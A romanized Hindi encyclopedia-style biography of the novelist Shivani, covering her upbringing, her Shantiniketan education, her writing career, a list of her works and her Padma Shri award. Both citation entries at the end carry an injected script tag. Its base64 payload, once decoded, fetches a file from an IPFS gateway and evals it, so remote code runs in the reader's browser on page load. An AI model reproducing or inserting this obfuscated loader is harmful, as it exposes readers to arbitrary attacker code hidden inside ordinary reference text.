शिवानी
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shivani ka (janm- 17 aktoobar 1923; mrityu- 21 march 2003) hindi ki suprasiddh upanyasakar thian.
jivan parichay
gaura pant ‘shivani’ adhunik agragami vicharoan ki samarthak thian. shivani ka janm vijayadashami ke din gujarat ke pas rajakot shahar mean hua tha. shivani ke pita shri ashvinikumar pande rajakot mean sthit rajakumar k aaulej ke priansipal the, jo kalaantar mean manabadar aur ramapur ki riyasatoan mean divan bhi rahe. shivani ke mata aur pita donoan hi vidvan sangit premi aur kee bhashaoan ke jnata the. shivani ne pashchim bangal ke shaanti niketan se bi.e. kiya. sahity aur sangit ke prati ek gahara rujhan ‘shivani’ ko apane mata aur pita se hi mila. shivani ji ke pitamah sanskrit ke prakaand vidvan pandit hariram pande, jo banaras hiandoo vishvavidyalay mean dharmopadeshak the. vah paramparanishth aur kattar sanatani the. mahamana madanamohan malaviy se unaki gahari mitrata thi. ve prayah almo da tatha banaras mean rahate the, atah shivani ka bachapan apani b di bahan tatha bhaee ke sath dadaji ki chhatrachhaya mean ukt sthanoan par bita. shivani ki kishoravastha shanti niketan mean aur yuvavastha apane shikshavid pati ke sath uttar pradesh ke vibhinn bhagoan mean biti. shivani ke pati ke asamayik nidhan ke bad ve lambe samay tak lakhanoo mean rahian aur antim samay mean dilli mean apani betiyoan tatha amerika mean base putr ke parivar ke sath rahian[1]
karyakshetr
shivani ka karyakshetr moolaroop se uttar pradesh ke kumaooan kshetr ki nivasi ke roop mean bita. shivani ki shiksha shaanti niketan mean aur jivan ka adhikaansh samay shivani ne lakhanoo mean bitaya. shivani ki maan gujarat ki vidushi, pita aangrezi ke lekhak the. paha di prishthabhoomi aur gurudev ki sharan mean shiksha ne shivani ki bhasha aur lekhan ko bahuyami banaya. baangla sahity aur sanskriti ka shivani par gahara prabhav p da.
lekhan ki shuruat
shivani ke lekhan tatha vyaktitv mean udaravadita aur paramparanishthata ka jo adbhut mel hai, usaki j dean, isi vividhatapoorn jivan mean thian. shivani ki pahali rachana almo da se nikalanevali ‘natakhat’ namak ek bal patrika mean chhapi thi. tab ve matr barah varsh ki thian. isake bad ve malaviy ji ki salah par padhane ke lie apani b di bahan jayanti tatha bhaee tribhuvan ke sath shantiniketan bheji geean, jahaan skool tatha k aaulej ki patrikaoan mean baangla mean unaki rachanaean niyamit roop se chhapati rahian. gurudev ravindranath taigor shivani ko ‘gora’ pukarate the. ravindranath taigor ki salah ko ki har lekhak ko matribhasha mean hi lekhan karana chahie, shirodhary kar shivani ne hindi mean likhana prarambh kiya. ‘shivani’ ki ek laghu rachana ‘maian murga hooan’ 1951 mean ‘dharmayug’ mean chhapi thi. isake bad aee unaki kahani ‘lal haveli’ aur tab se jo lekhan-kram shuroo hua, unake jivan ke antim dinoan tak chalata raha. unaki antim do rachanaean ‘sunahuan tat yah akath kahani’ tatha ‘sone de’ unake vilakshan jivan par adharit atmavrittatmak akhyan haian.[1]
pramukh rachanaean
shivani ki 'amader shaanti niketan' aur 'smriti kalash' is prishthabhoomi par likhi gee shreshth pustakean haian. 'krishnakali' unaka sabase prasiddh upanyas hai. isake das se bhi adhik sanskaran prakashit ho chuke haian. upanyas, kahani, vyaktichitr, bal upanyas aur sansmaranoan ke atirikt, lakhanoo se nikalanevale patr ‘svatantr bharat’ ke lie ‘shivani’ ne varshoan tak ek charchit stambh ‘vatayan’ bhi likha.[2]
kritiyaan
- upanyas
- krishnakali
- kaliandi
- atithi
- pootoan vali
- chal khusaroan ghar apane
- shmashan chanpa
- mayapuri
- kaianja
- geanda
- bhairavi
- svayansiddha
- vishakanya
- rati vilap
- akash
- kahani sangrah
- shivani ki shreshth kahaniyaan
- shivani ki mashahoor kahaniyaan
- jharokha, mrinmala ki hansi
- sansmaran
- amader shaanti niketan
- samriti kalash
- vatayan
- jalak
- yatra vivaran
- charaivaiti
- yatrik
- atmakathy
- sunahuan tat yah amar kahani
- dharavahik
- 'surangama'
- 'rativilap',
- 'mera beta'
- 'tisara beta'[2]
puraskar
1982 mean shivani ji ko bharat sarakar dvara padmashri se alankrit kiya gaya.
mrityu
shivani ka 21 march, 2003 ko dilli mean 79 varsh ki ayu mean nidhan hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 kastoori mrig (hindi) (pi.ech.pi) bharatiy sahity sangrah. abhigaman tithi: 4 aprail, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 shivani (hindi) (ech ti em) abhivyakti. abhigaman tithi: 4 aprail, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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